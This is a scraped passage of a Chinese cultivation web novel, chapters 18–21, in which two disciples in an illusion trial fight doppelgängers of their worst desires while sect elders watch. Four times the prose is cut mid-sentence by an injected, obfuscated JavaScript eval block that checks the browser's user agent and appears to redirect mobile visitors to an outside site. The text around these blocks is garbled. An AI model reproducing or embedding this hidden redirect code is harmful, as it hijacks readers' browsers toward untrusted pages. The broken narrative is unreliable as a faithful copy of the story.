由于麦田太大,阳光灿烈,太阳的颜色和麦子的颜色连成了一片,晃得他头晕目眩,走了半天也没走出麦田。 我不会是迷路了吧? 褚褐一边望着麦田一边叹气。 在麦田里迷路,也是有够逊的。 说实话,一睁眼就发现青遮不见了,褚褐的心情就坠到了谷底,还有比这更糟心的事情吗?而且不是组队吗?怎么喜忧谷的幻境还把他的队友给弄没了。 褚褐背过身,尝试倒着走找找路,结果还没迈上几步,就被绊着了,直接摔了个仰倒。 “哎呦!疼疼疼!” “你没事吧?” 一只手伸了过来,曝在太阳底下白得耀眼,温润地像块玉。 “我没事,谢谢。” 褚褐没借这只手,自己爬了起来,颇为狼狈地拍打着身上沾到的草屑尘土。 “公子,你也是来寻天阁的吗?” 手的主人将手收回厚实的遮阳专用的斗篷里,头上戴着的斗笠前同样蒙着厚厚一层白纱,将容貌遮挡得严严实实。 “天阁?”从未听说过此地的褚褐一懵,“什么天阁?” “就是那里。”斗笠客指了指西边的太阳,“日落之地,天阁之所,每三十年一开,一开仅三天,期间接待有缘之人实现他们心中所想所愿,故奔赴之人络绎不绝。如若公子不是想去往那天阁,何故会出现在这里?” “我在找人。” “找何人?” “找、”褚褐卡了,哼哧半天,才讲道:“找重要之人。” “那公子可以去天阁试试,那里的人无论你有什么离奇愿望,都会帮你实现。” 硬要讲,褚褐没什么愿望,他觉得现在一切都很好。 至于寻父母找仇人,这是他必做之事,不能算是愿望。在褚褐的理解里,愿望,应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16060207|179181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当是那些想要拥有却无法实现的东西,所以—— “我没什么愿望想实现。” “没有愿望?”斗笠客道,“那公子一定是极幸福极满足之人,只有这样的人才会了无遗憾,无所欲求。” 幸福……那倒也没有。 褚褐认真且仔细地回忆了一下他短暂的过去,他能说出来很多让他感觉到高兴的事情,也能说出来很多让他感觉到激动的事情,但如果是拿幸福这样的词来形容它们,似乎又有些不对,总归差了点意思。他发现了,他好像不能定义什么是幸福,就像不能定义什么是虐待。 “这位公子。”褚褐朝斗笠客行礼,“你知道天阁在哪儿吗?” “我要往那里去,自是知道路的。” “那,能否麻烦也带上我?” “哦?”斗笠客歪歪头,“公子方才还说无所欲无所求,怎么现在又改变主意了?” “如果天阁真的什么都能实现,那求他帮我寻人肯定会比我自己来找要快得多。” 实际上褚褐已经隐隐约约感觉到眼前的斗笠客不是和他一起来参加招生试炼的同修了,既然有这么个奇怪的人出现在面前,还说出一堆莫名其妙、他从未听说过的事情,那一定是和幻境的过关任务有关系。 “带上你自然没问题,两人同路也会比一人踽踽热闹些。”斗笠客朝他行礼,“我叫苏伞,不知道公子如何称呼?” “我叫褚褐。” 有了苏伞在前面引路,褚褐很快出了麦田。太阳西斜得愈发厉害,很快就落了山,天慢慢暗了下来。 苏伞是个沉默寡言的人,自从报完名字后,一路上就再也没有多说过一句话,褚褐实在憋得受不了,只能主动找话聊。 “苏公子去天阁是想实现什么愿望?” “我自幼体弱,想向天阁之人讨一副身强力壮的身体。” “还真没看出来,苏公子的步子稳健有力,不似病榻之人的虚浮轻飘,我还以为苏公子的身体不错呢。” 苏伞的步子不着痕迹地一顿。 “也就是表面上看起来强健些,实际上强弩之末罢了。”苏伞并未多说,“褚公子,今晚无月无星,夜路也不好走,不如去前面废弃的寺庙里暂且休息一晚吧。” “也好。” 废弃的寺庙离他们不远,几步路就到了。褚褐想着刚刚苏伞提到过的体弱多病,于是抢在他前面推开了厚重的寺门。 寺里居然是亮着灯的,而且已经有人在此落座了。 “青遮?” 褚褐一眼就看见了倚着柱子闭眼休息的人,正是他心心念念遍寻不到的青遮。 “太好了!总算找着你了!” 褚褐兴奋地跑过去,青遮也有些意外他居然会出现在此处。 “叮!检测到二人小队青遮的灵力印记反应。” “叮!检测到二人小队褚褐的灵力印记反应。” 忽的,两道突如其来的声音在青遮和褚褐耳侧响起来。 “欢迎两位来到喜忧谷的幻境,本重幻境的谶语是:人非人,人即人。祝两位一帆风顺。” 18. 人即人(大修) “喜青阳,你这设计的什么破幻境?”糊老头蹲在水镜前,把所有人都过了一遍,终于没忍住出声:“你玩家家酒呢?” “老头儿你别急啊。”喜青阳斜躺在铺了软垫的椅子上,“你接着往下看不就知道了。” “我看个屁我!”糊老头气得吹胡子瞪眼,“忧思邈!你管管你弟弟!” “师父,我只是个副位,当初是你把试炼任务的主位给了喜青阳。”一个与喜青阳长得一模一样的男子坐得端正,手里还捧着本书,看起来对试炼的内容一点兴趣都没有,“你给他之前就应该想到这家伙会把事情搞砸。” “嘿,你什么意思?”喜青阳耐不住了,他站起来,挪到他哥身边去一屁股坐下去,拿手臂怼咕他,“你什么意思啊忧思邈,怎么,我做的幻境不够好呗?” “好,很好,怎么会不好。”忧思邈敷衍他。 喜青阳怎么会听不出来他哥的敷衍,很不高兴地撇撇嘴,继续拿胳膊捣鼓他。 “喜青阳。” 忧思邈啪地把书合上。 “皮又痒了,是不是?” “你皮才痒了。” 虽然嘴上是这么说,但喜青阳还是条件反射地缩了一下肩膀,老老实实地回到了他的位置上,毕竟他哥是真的会打他。 “糊老,你也别对你徒弟生气了。”坐在最高位的东道主,不周山宗主山不到安抚他,“毕竟当时是我们提议这次的考核内容全部都由各个宗门的后辈们来决定的。” “呵,什么我们,当初提议的只有你一个人而已。” 八岐宫宫主药王杜冷哼一声。 “药宫主。”山不到依旧维持着温和的笑,“这么提议是有原因的,终归我们这几个老家伙已经不适合现在日新月异的修真界了,未来的修真界是属于这些后辈人的,自然需要由他们来决定能撑得起修真界未来的脊梁是怎么样的人。” “他们决定?他们还只是乳臭未干的小屁孩!”药王杜一脸不赞成,“也不知道你们怎么想的,糊老头,你甚至都把喜、忧两个尊号提前给了你的两个徒弟,这不是胡闹吗!” 喜忧谷谷主历来以“喜忧”作为尊号安在名字之前,相当于姓氏了,也是存着几分剥夺以前姓氏、从以前姓氏家族里除名、从而一心一意为喜忧谷效力的意思在里面,不过下一任的谷主候选人比较特别,是一对双生子,虽然性格迥异,但能力不相上下,喜忧糊干脆将喜忧两字分开,分别赐予了他们,他也早已忘记了自己的原姓氏是什么,干脆就叫自己糊老头了。 “嘿老不死的你什么意思啊!” 糊老头从椅子上窜起来,指着药王杜的鼻子大骂。他自己的徒弟他自己当然可以嫌弃,打都可以,但他可见不得别人说徒弟一丁点不好。 “我的徒弟,那是天下第一无敌!你算个什么东西啊你,你自己一帮徒弟教成那样儿还有脸说我徒弟!” “就是啊药宫主。而且你也不是把八岐宫的尊姓悄悄给了你徒弟,我们和他关系好,早知道了。”喜青阳嬉皮笑脸的,“你要不问问你的宝贝徒弟,看他把八岐宫的幻境设成了个什么样呀?” “哼。” 深谙自己徒弟性格的药宫主一甩袖子,不说话了。 糊老头:“臭小子!别光说别人,倒是说说看你设置这个幻境是干什么的?” “师父你管那么多干嘛?作为第一重幻境,能把人筛出来不就好了。我敢打包票,光我这一关能筛下来不止一半儿人。” “一半儿?你还真是大言不惭啊!” “师父你就放心吧,我是严格按照你的要求来的。”喜青阳又懒散散地躺下了,“我设计的理念就是,修真界不需要想借助修仙一步登天的人。人嘛,不会因为做了神仙就脱胎换骨,毕竟自己的上限在那儿呢。要承认自己永远是自己,不会因为身份改变而改变。” “而且修仙这种东西。”忧思邈读完了手里的古籍,将其合上,又从储物戒指里拿了本新的,“也就是这么一回事,和做官的、种田的、做工的、经商的也没什么区别,不是修仙了就成了人上人,也不是修仙了就能为所欲为。” “没错。”喜青阳侧过身,接过他哥的话茬,“我们要做的就是把这部分人筛下去。反正是我们挑人嘛,你们看着就好了。” 他把目光转向水镜。 “你们要是闲得无聊,可以来猜猜看嘛,猜猜谁会先认出来跟在自己身边的人究竟是谁,毕竟时间,可不多了。” 废寺里,褚褐跟青遮刚得知第一重幻境的谶语,而苏伞和宗玉两人,则是互相行了一礼,便离得远远的坐下了。 “青遮,这位是你的朋友吗,”宗玉问。 “嗯,朋友,他是褚褐。” “你好,褚褐公子,我叫宗玉。” “你好。” 诡异的气氛弥漫在褚褐和宗玉之间,褚褐几乎是死死盯着宗玉,看他亲昵地凑在青遮耳边说话,但又恰好控制在一个青遮不会觉得过近的距离,不知道为什么,觉得好碍眼。 “青遮。”他立刻凑过去挤开宗玉,“你对这一重幻境有没有想法?” “现在线索太少了,唯一能用的信息只有天阁这个估计只存在于幻境里的地点、三天的时间限制、那句莫名其妙的谶语,以及我们分开后在路上遇到的那两个人。” 青遮瞥了一眼宗玉,目前他还没有从宗玉身上察觉到有什么不对劲的地方,至于另一个—— “褚褐,你遇到的那位公子,叫什么?” “他说他叫苏伞。”褚褐挪了挪位置,刻意挡住青遮看向宗玉的视线,“去天阁是为了索要一副健康的身体。” “他的愿望听着还算合理,宗玉的愿望就比较奇怪了,他说他想要一个能装下成人男子大小的笼子。” “听起来的确奇怪。”褚褐点头之余还不忘撺掇,“那青遮你记得离他远点,他可能不怀好意。” “我有分寸。” 青遮目光轻飘飘扫过去,从宗玉再到苏伞。 不管怎么说,保持警惕吧。人这种生物,只要起了疑心就会不自觉地想得深些。虽然有些时候疑神疑鬼弊端颇多,但在眼下,却不失去为一个能打开更多思路的办法。 “青遮。” 宗玉抱着不知从哪翻出来的斗篷过来了。 “我带了过冬用的斗篷,雪狐狸的毛,很暖和,今晚要不要咱俩挤挤?” 褚褐一听就炸了:“不需要!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16060208|179181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“褚公子,这就是你的不对了,你看着身强力壮当然不怕冷了,但青遮柔柔弱弱的,要是冻风寒了怎么办?这里的晚上可是很冷的。” “那也不用麻烦你了,我可以陪青遮一起睡。” “你还小,身体阳气肯定没有我的足啊,要是你也受凉了我就罪过了。”宗玉不由分说,直接把厚实的斗篷盖到了青遮身上,“褚公子,不如你去和跟你一块过来的那位公子挤挤吧,我看他衣服还挺厚。” “不、用、了。” 褚褐咬牙切齿,但面上还得维持着得体的礼貌微笑,就怕青遮被自己发脾气的一面吓到。 青遮从两人开始犟起来的第一句就跑神了,他盯着坐在门口的苏伞,企图透过他裹得严严实实的斗篷和压得极低的斗笠看出些蛛丝马迹。 “苏公子,要不要往里面坐坐,那门漏风,晚上会冷。” “不用,我的衣服防寒,多谢青遮公子的好意。” 苏伞的声音很淡,淡的像抹水,听着让人舒服,如沐春风一般。 “那苏公子不考虑把斗笠拿下来吗?睡觉的时候怕是会膈得头疼。” “这个也不必了。”苏伞隔着厚厚的那层白纱摸了摸脸,“我怕我的脸吓到你。” 言外之意就是我的脸丑,能听懂这一层意思的人一般就不会再追着问了。 “抱歉,是我冒犯了。” “无碍。” “褚褐。” 褚褐立刻凑过去:“青遮,怎么了?” “柴不够了,我们去拾点。” 本来褚褐想说「我自己去就行了,外面黑灯瞎火的,天又冷,你还是待在庙里暖暖身子吧」,但他对上了青遮的眼神,平静的却又蕴含了很多未尽之言的眼神,他当即明白过来,话到嘴边拐了个弯:“好的,没问题。” “青遮,要不要我也陪你去?” “不用了宗玉公子,苏公子一个人在庙里不安全,我和褚褐两个人就可以了。”青遮客客气气道了谢,然后把披着的斗篷还给了宗玉。 厚重的寺门被褚褐推开,又关上,呼啸的风吹进寺里,打着圈嘶鸣了几声,又因为没有后面的风续力,很快沉寂下来,只留下一抹彻骨的冷。 “他好像不喜欢你靠近他。” 破天荒地,苏伞第一次对着素未谋面的宗玉开了口。 “你看起来很不高兴。” “怎么会。”宗玉咧着嘴,“我明明是笑着的啊。” “笑得比哭还难看。”苏伞温温柔柔地开口,语气里却浮着层明显的奚落,“他又不在这儿,你装什么。” 宗玉笑得已经有些僵硬的嘴角终于耷拉了下来,先前被笑容压下去的锐利和冷硬重新浮现在了他脸上。 “唉。”他走了过来,弯下腰,装作抱怨:“你非得说出来吗,我都已经这么伤心了。” “把手拿开。”苏伞警告。 “别啊。” 宗玉凑得更近了,细长的手指挑动斗笠前的纱,一点一点往上掀起来。 “你说,同样都是褚褐,为什么他偏偏不理我呢?” 最后一点纱被掀了上去,露出下面那张美人面。 “你倒是来评评理啊,青遮。” 19. 杀开路(大修) “手不想要了?” 苏伞的声音顿时冷下来,没了那层特意装出来的柔弱语气浮在表面,青遮那股子清冽感很清晰地显现了出来。 “怎么那么凶啊,青遮。”宗玉叹气,顺便装委屈,“他对我凶就算了,你怎么也凶我,明明——” 他猛地拽紧纱,逼得苏伞不得不靠近了他。 “明明我们才是一条船上的。” 啪! 非常干净利落的一巴掌,直接把宗玉的脸扇歪到了一边。 “我看你脸也不想要了。” 苏伞冷声。 宗玉迟疑地、缓慢地摸了摸被打的位置,疼倒是还好,他可是褚褐,褚褐最不怕疼了。 可是那股子麻劲儿却不是能以「倒是还好」一笔带过的。 “青遮。” 宗玉不怕死地再次靠过去,带着笑的,亲昵的,“别生气,我错了,要不要再打一巴掌?” “你献殷勤献错人了。” 苏伞掐着宗玉的下巴推开他。 “你要是再这么没分没寸,我不介意先送你下地府去见阎罗王。” “别啊,我还没实现我的愿望呢。” 提到那破愿望,苏伞就忍不住皱起眉:“你不是在开玩笑吗?那种愿望,谁听了都会起疑心吧。” “这可不关我的事。”宗玉耸肩,“那可是「褚褐」的愿望。倒是你,怎么一点都不着急啊,我们可只有三天时间。” 他看了眼窗外漆黑的天。 “啊,准确来说应该是两天一夜。要不,咱俩合作吧,我负责搞死褚褐,你负责摁住青遮,怎么样?” “不怎么样。”苏伞漫不经心,“我想要的,可不止是一具能供我使用的健康的身体。” 苏伞抬眼,笔直地望向某一个方向,非常凑巧地和水镜外的喜青阳对上了眼神,喜青阳不由心里咯噔了一下。 莫非—— “他看到你了。” 忧思邈笃定。 “不太可能吧。”喜青阳喃喃,“如果能让分身做到这种程度,那就证明本体需要具有非常强大的神识,可、他看起来才炼气入门啊,筑基都没筑怎么可能会有那么强大的神识?” “也有可能是掩盖了真正的修为。” “拉倒吧,他要真有那个掩盖真实修为的能力,就算我看不出来,难道你也看不出来吗?” “人外有人,天外有天,或许他精通掩藏之法,或者有相关法器傍身。”忧思邈把书合上,“喜青阳,把他的水镜单拎出来。” 喜青阳反应特别大:“你看上他了?” “啧。”忧思邈骂人的话都到嘴边了,一转眼看各个宗门的宗主长老什么的都在这儿,于是又憋了回去,“你说话能不能别那么难听?什么叫看上他了?是选择。” “所以你打算把名额给他,是吧?” “有这个考虑,往后再看看。” “那我偏不和你选一样的。”喜青阳随手一指,“我选褚褐。” 忧思邈用看白痴一样的目光看着他,“我们两个人是一个名额。” “那你为什么不能听我的?” “喜青阳。” 忧思邈把书往扶手上一摔,其实就是动作看着唬人了点,发出的动静很轻微,但偏偏让喜青阳抖了一下。 “你在想什么?” 很普通的一句话,没有指责,也没有阴阳怪气,就是实实在在的一句疑问,似乎提问者真的只是好奇他的弟弟此刻在想些什么。 可他是忧思邈。所以不成立。 忧思邈是谁?忧思邈是暴君。 喜青阳缩了缩腿,闷着声音:“那就你说了算。” 水镜里,宗玉对苏伞的话不解其意,苏伞却没有解释过多。 “我们的时间不是只剩下两天一夜,有青遮在,他很快就能猜出来是怎么回事。我了解我自己。” “把他们俩分开不就行了。”宗玉不以为意,“褚褐肯定认不出来我是谁,我也了解我自己。到时候你去找褚褐,我去找青遮。” “那就现在行动吧。”苏伞站起来,整理着被宗玉弄乱的斗笠,“越快越好,免得夜长梦多。” 寺门被再次推开,刺耳的吱呀声惊醒了寺旁灌丛里的鹧鸪,惊叫一声飞上了天。 “什么声音?” 走在林子里的青遮听见动静回头。 “是鹧鸪。”褚褐侧耳听了一下,感慨,“没想到这里居然还有鹧鸪啊,就是不知道幻境里的鹧鸪能不能吃。” 青遮疑惑:“那东西能吃?” “鹧鸪算是味道不错的野鸟了,还能入药,以前在青梅村,我偶尔会上山打一只填肚子。”褚褐抱着树枝,眼流怀念,“欸,我烤鹧鸪做得还是不错的,青遮你要是想吃的话我去打一只来。” “不用,我还不饿,现在最要紧的还是试炼。” 也对,差点忘了正事。 “你对「人非人,人即人」这句谶语有什么看法吗?” “我听到谶语的第一时间想到的就是它表面上的意思,人不是人,人又是人。”褚褐道,“我不懂这些奇奇怪怪的像谜语一样的东西,所以理解得比较浅显。” 人不是人,人又是人。 青遮喃喃着重复他的话。其实一路上他想了很多里面可能蕴藏的不同的深意,但逻辑都推不到底,无法自圆其说。 “看来还是要从那两个人入手。” 一提及那两个人,褚褐就忍不住:“要不把宗玉交给我吧,你离他远点,他对你不怀好意。” 青遮轻笑,“你居然都能看出别人的不怀好意来了?” “他的不怀好意很明显啊。” “那你就没有看出来苏伞对你的不怀好意?” “啊?苏公子?”褚褐一怔,“他都没跟我说过几句话啊。” “遮面,话少,坐得还远,这些恐怕是为了让别人不注意到他,当然不排除有性格的成分,但你有注意到他是怎么坐的吗?” 褚褐优越的记忆力很快让他想了起来。 “正对着我们的方向坐的。” “没错。如果他真的想让人不注意到他,他应该是背对着我们坐,之所以正面,恐怕还是为了看我们,准确来说是看你。” 褚褐被青遮的分析整得一愣一愣的。 看不到脸,也能将人的行为拆解到这种程度吗?青遮果然好厉害。 “虽然有猜测的成分在里面,不过应该大差不差,毕竟那位苏公子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16060209|179181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的行为模式简直跟我……” 一模一样。 青遮猛地顿住了。 和我一模一样的行为模式。 “褚褐。” “嗯?” “把你的外袍脱给我,然后我们分开走。” _ 苏伞入林时,刚好是子时初,夜深起风,吹散了云,露出点月牙头,地上总算能见光了。 他和宗玉刻意分开了,毕竟都互相不信任,没必要假惺惺地搁一块儿处着。 只不过他没想到的是,青遮和褚褐居然也分开了,在看见褚褐背影的时候,他还以为自己看错了。 “褚公子,怎么只有你一个人?青遮公子不在吗?” 褚褐依旧是背对着他,不搭理。 “褚公子?”苏伞走上前,“褚……” 一道银灰色影子直接瞄着他的眼睛擦过来,苏伞眸一凌,反应极快,手一挥,画符挡了下来,然而仅仅护住了要害,斗笠和遮面用的白纱,还是被掀飞了出去。 “即符?这可不是一般人能达到的水准。” 木尺的主人转过身,发白的月光下衬得他整张脸冷地像块冰。 “看来,我猜对了。” 一模一样的行为模式,自然也会有一模一样的脸。 “嗬。” 既然发现了,也就没必要装了,苏伞手腕一翻,一模一样的三千尺出现在他手里。 “我是不是该夸一句不愧是我?你发现的速度比我想象中的还要快。” “什么「我」,你可不是我。” 青遮拉长尺子甩出,添了千金材料的三千尺第一次舒展开来,鞭挞在地,发出一记不输鞭子的脆响。 “你是个什么东西?精怪?妖魔?总不能是心魔吧。” 苏伞反问:“你还怕心魔吗?” “你不是自诩为我吗?你难道不知道我怕不怕?” “哼,说的也是。” 苏伞学着青遮的样子,将三千尺拉长,鞭挞在地。 “你都能猜出来我是你了,你难道还猜不出来我是什么东西吗?” 不是精怪,不是妖魔,更不是心魔。 人非人。 人即人。 一副身强力壮的身体。 愿望。 或者说,欲望? “你是,我的欲望?” 苏伞微微一笑。 “答对了。” 三千尺裹挟着劲风扑面而来,撕裂空气发出爆鸣,狠狠和青遮的三千尺撞到了一起。 “你不只是我的欲望那么简单吧。” “又答对了。我是你最恶劣的欲望,你应该知道你最恶劣的欲望是什么,我就不方便说出来了,省得,”苏伞抬眼,意有所指,“外人听见。” 夺舍。 青遮清清楚楚看见了苏伞的口型。 “那让我再猜猜看,通关的方法就是把你杀了?” “差不多。但你杀得了我吗?或者换句话说,你杀得了自己吗?我会你会的所有东西,我精通你精通的所有东西,你打算怎么杀我?” 苏伞靠近他,压低了声音。 “还是说,你打算让外面的人看看,你夺人内丹所修的邪术?” 20. 赴前方 爱会让人心甘情愿地付出 “最恶劣的欲望?”糊老头摸着山羊胡子,“小子,这就是你搞出来的名堂?” “怎么样?是不是比你们这些老头子弄的有新意多了?” “不错不错,还真是不赖,不愧是我徒弟,哈哈哈哈哈哈哈。” “老头儿,你变脸变得也太快了,明明刚刚还骂我呢。”喜青阳身子朝他哥的方向一歪,踢踢对方的腿,“诶,诶!忧思邈,我设计的幻境,怎么样?” 忧思邈倒也不吝啬夸他:“挺不错。” “那是自然,也不看看我是谁。” 忧思邈的认可对喜青阳来说可比他师父的有分量得多,喜青阳得意洋洋,像个小孩子一样晃着脚,要是身后长了尾巴此刻恐怕已经高高翘起来了。 “忧思邈,你要是进这一重幻境,大概多长时间能认出来自己的欲望分身啊?” “一个照面即可。” “这么自信?” “因为我很了解我自己。” 切,臭屁。 喜青阳撇撇嘴。 “那你最恶劣的欲望是什么?” 忧思邈带着些许意味深长的目光,将他的弟弟从头打量到脚。 “小羊,你不会想知道的,所以,别问了。” 忧思邈不会轻易叫他小羊,叫了,一般都有深意。当然,有何种深意还需要喜青阳自己去想。 不过喜青阳很明显没有时间想这个,他现在脑子里盘旋的是另一回事。 刚刚忧思邈对他笑了。 天杀的暴君刚刚居然对他笑了。笑什么笑,有什么好笑的。 喜青阳侧过头,手撑着下巴遮去了脸上大半的红。 他老是忘记自己和忧思邈长着同一张脸,这种感觉很神奇,仿佛世界上还存在另一个你,他理解你的一切,懂得你的全部,知道你的忧愁喜乐,甚至深谙你全部不可言说的心思。 虽说两人是双生子,但其实和他们俩很熟络的人并不会把他们认错,按照那些人的说法,哥哥忧思邈无论什么时候脸上的表情都很平,话也少,弟弟则是一张笑脸,未语先笑三分,话多嘴碎,只要两人不刻意假扮对方,还是很好认出来的。 所以在看到忧思邈朝他笑,他才恍惚想起,哦,这人是他的孪生哥哥,他们有着同一张脸,但问题是,为什么笑起来的感觉差那么大? “喜青阳。”忧思邈卷起书敲了敲他弟脑袋,“回神了,他们快打完了。” 水镜里,青遮和苏伞的三千尺再次撞在一起,打得不分上下,两个人武器、能力、招数都一模一样,完全分不出胜负。 “邪术?你应该比谁都清楚那是什么,那是能救我命的东西,先把命活下来再谈邪不邪吧。” 青遮趁其不备,化鞭为尺,从桎梏中挣出,一尺敲中苏伞的手腕,逼得对方撤招后退。 说邪术确实有点过,顶多算得上古术,八岐宫扔到下面小宗派的书籍里多是这种术法之书,但因为年代久远,纸张缺失,字迹又模糊,能修炼的少之又少,而且就连这少之又少的部分里,也甚少能找到还契合当下修真界的术法了,现下青遮修炼的术法还是他自己修改过的版本。 “我清楚,我当然清楚,因为我就是你,我知道你的全部。” 我知道你的容忍,你的不甘,你最深的欲望,所以—— 你能杀死我吗?你杀得了我吗?你,下得了手吗? “这一点你就不用担心了,我连褚褐都下得去手,我只会对自己下更狠的手。” 提到褚褐,苏伞不由想到了和他分开走的宗玉。 “褚褐啊,那孩子真可怜,难得他这么爱着你。” “爱?你管那个叫爱?”青遮冷哼,“那只不过是一个幼稚小孩儿对自己东西偏执的占有欲罢了,那可称不上爱,我们不是最了解爱了吗?” “我们了解爱吗?”苏伞觉得可笑,“我们最了解的难道不是欲望吗?” 炉鼎不配了解爱,他们最说得出口的只有欲望。 “就算现在那个孩子对你只是偏执的占有欲,那以后呢,你怎么确定他不会发展成爱呢?” 苏伞故意恶心他,他知道青遮最讨厌「爱」这种东西。 但青遮没有像他想象中那样冷脸,他反而笑了。 “那样不好吗?”青遮反问道,“爱使人癫狂,使人蒙昧,使人……” 贡献。爱会让人心甘情愿地付出。 “那么到时候他应该会心甘情愿的把身体给我了,不是吗?” 青遮完全没信苏伞就是自己的鬼话,毕竟欲望并不能代表一个人的全部。 “如果你真的从心里认定你是我,就相当于承认了宗玉就是褚褐,那么,为什么你没有夺他的舍,他也没有把你关进笼子里呢?” 的确如此。 苏伞无言以对。 他确实没动过这个心思,因为他知道这不一样。 是啊,他心里居然清楚这是不一样的。 苏伞握着三千尺的手微微一颤。 如果他清楚这是不一样的,不就是否认了自己的存在吗? 时间拖得差不多了,趁苏伞愣神,青遮背在身后的手挥出,数百张符凭空出现,每张符上都浮着层不详的紫光,成符阵包围住了苏伞。 “你好像放弃了。” 青遮察觉到苏伞并没有躲,也没有反抗。 “不是放弃,我只是想通了一些事情。” 苏伞收回三千尺。 “反正无论如何,我依旧承认我就是你。” 他伸出手,指向前方。 “你赢了,往前走吧,不要回头,因为你后方无路,你得寻那求生之所。” 符阵收缩,强烈的光冲向天空,几乎照亮了整个黑天。 “看来那边已经出结果了。”宗玉抬头看了一眼,“你呢,你还要和我打吗?” 褚褐面无表情,他攥紧宽剑,直指宗玉,表明了他的态度。 “我觉得很奇怪啊,你是怎么认出我来的?按照我对自己的了解,我好像还没有敏锐到这种程度吧。” “我没有认出来你是谁。” 宗玉更好奇了,“你没有认出来我是谁?那为什么要拿剑对着我?” “因为青遮说过,破幻境之法要从你们俩身上下手,最干脆利落的方法就是打,人的生命在受到威胁时自然而然会暴露出他的真实想法。而且青遮说过了,我们分开走后遇见的第一个人,不用问不用说话,直接打就好了,把你杀死了,我们就可以通关了。” “你就这么信任他?你不怕他骗你?” “青遮说的话,无论说什么都是对的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16060210|179181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”褚褐挥出剑,巨大的剑身和空气相撞荡出一片强劲的气波,“哪怕是错的也是对的。” “应该说不愧是我吗?”宗玉轻笑,“那就让我来告诉你吧,我是你最卑劣的欲望。” 什么玩意儿? “看你的样子似乎有点疑惑啊。” “我记得你的愿望是要一个笼子。这算我什么卑劣的欲望。” 宗玉替他补充道:“我的愿望是要一个笼子,一个可以装得下青遮的笼子。” 褚褐的呼吸瞬间停了一瞬。 “你的表情变了呢。” “胡说!我对青遮才不是这种奇怪的——” “不是吗?”宗玉打断他,“你敢摸着自己的心说不是吗?没有一丁点这样的想法吗?” 他、他!他不能。 “当然啦,虽然目前阶段只是想把他藏起来而已,不过我想,到将来应该会发展出来更多可能吧。” “你什么意思?” “你看看我的脸,我是长大后的你诶。”宗玉捏捏自己的脸,“你的欲望里有长大的部分,我作为长大后的你自然知道的也比你多啊。” “所以,”宗玉召出落九天,“你确定能打败长大后的自己吗?” 褚褐咬牙:“我不承认你是我!” 两把落九天几乎是同步挥出,出招,然后撞上,巨大的动静让周围瞬间荡起一阵风尘。 “你力气太小了。” 宗玉毫不费力地压下了他,仅凭力气直接弹飞了褚褐。 他踉跄几步,被人从背后拦了一把,没有完全摔到地上。 褚褐回头一看,眼睛就亮了,“青遮,你那边结束了?” “嗯。” “你赢了?” “嗯。” “居然是你赢了吗?”宗玉喃喃,“那他呢?” “他死了。” 宗玉愣怔了一瞬。 “死了啊,居然死了吗。” 他的表情有一点伤感,毕竟从根本上来讲,他和苏伞才算是同类。 褚褐着急地扒开青遮的袖子,想要查看他的身体,“你有没有受伤?” “我没事。”青遮摁住他的手,“关于他,你需要帮忙吗?” 听见没受伤,褚褐放下心了。 “不用,如果不是我亲手杀了他的话,我们应该还是出不去吧。” 虽然青遮没有告诉他全部,但褚褐的直觉依旧能帮他察觉出许多事情。 青遮:“打不过可能会死在这,你确定不用我帮忙?” “不会死的,我还要往上爬呢。”褚褐道:“而且我们不是一队的吗?我不会给你拖后腿的。” 他拾起被弹飞的落九天,挥舞着又冲了上去,两把剑再次相撞,但这次褚褐明显感觉对方的力气没有刚刚的大了。 “你,”褚褐警觉,“你要做什么?” “啊,我的搭档没了。”宗玉蔫蔫的,“我好像耗在这儿也不是个事儿,诶,你要真上去了可得感谢我。” “你什么意思?” “往前走吧。” 宗玉忽然收了力,任凭褚褐的剑砍到了自己身上。 “如果我的青遮不在,我就没有留在这儿的必要了。还是送你往前走吧,毕竟前方光明,你要到那光明之路。” 21. 定胜草 随着剑身劈下,宗玉的身体开始消散,与此同时,一个熟悉的声音在两人耳畔响起来: “青遮,成功通过第一重幻境喜忧谷。” “褚褐,成功通过第一重幻境喜忧谷。” 